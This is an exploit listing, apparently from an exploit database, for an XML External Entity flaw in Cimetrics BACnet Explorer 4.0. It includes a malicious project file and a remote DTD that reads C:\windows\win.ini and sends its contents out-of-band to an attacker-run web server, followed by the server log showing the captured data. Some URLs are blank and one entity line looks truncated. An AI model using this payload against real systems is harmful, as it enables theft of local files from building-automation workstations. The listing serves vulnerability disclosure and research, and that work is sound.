Cimetrics BACnet Explorer 4.0 - XML External Entity Injection Vulnerability

ID 1337DAY-ID-26962
Type zdt
Reporter LiquidWorm
Modified 2017-02-12T00:00:00


Exploit for windows platform in category local exploits

                                            Cimetrics BACnet Explorer 4.0 XXE Vulnerability
Vendor: Cimetrics, Inc.
Product web page:
Affected version:
Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.
Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.
Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
           mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
           BACstac Library: 1.5.6116.0
           BACstac Service: 6.8.3
Open file evil.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "">
xxe.xml on the web server:
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM ';'> ">
pyhon -m SimpleHTTPServer 8080
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER= HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER= HTTP/1.1" 200 -

# [2018-01-03]  #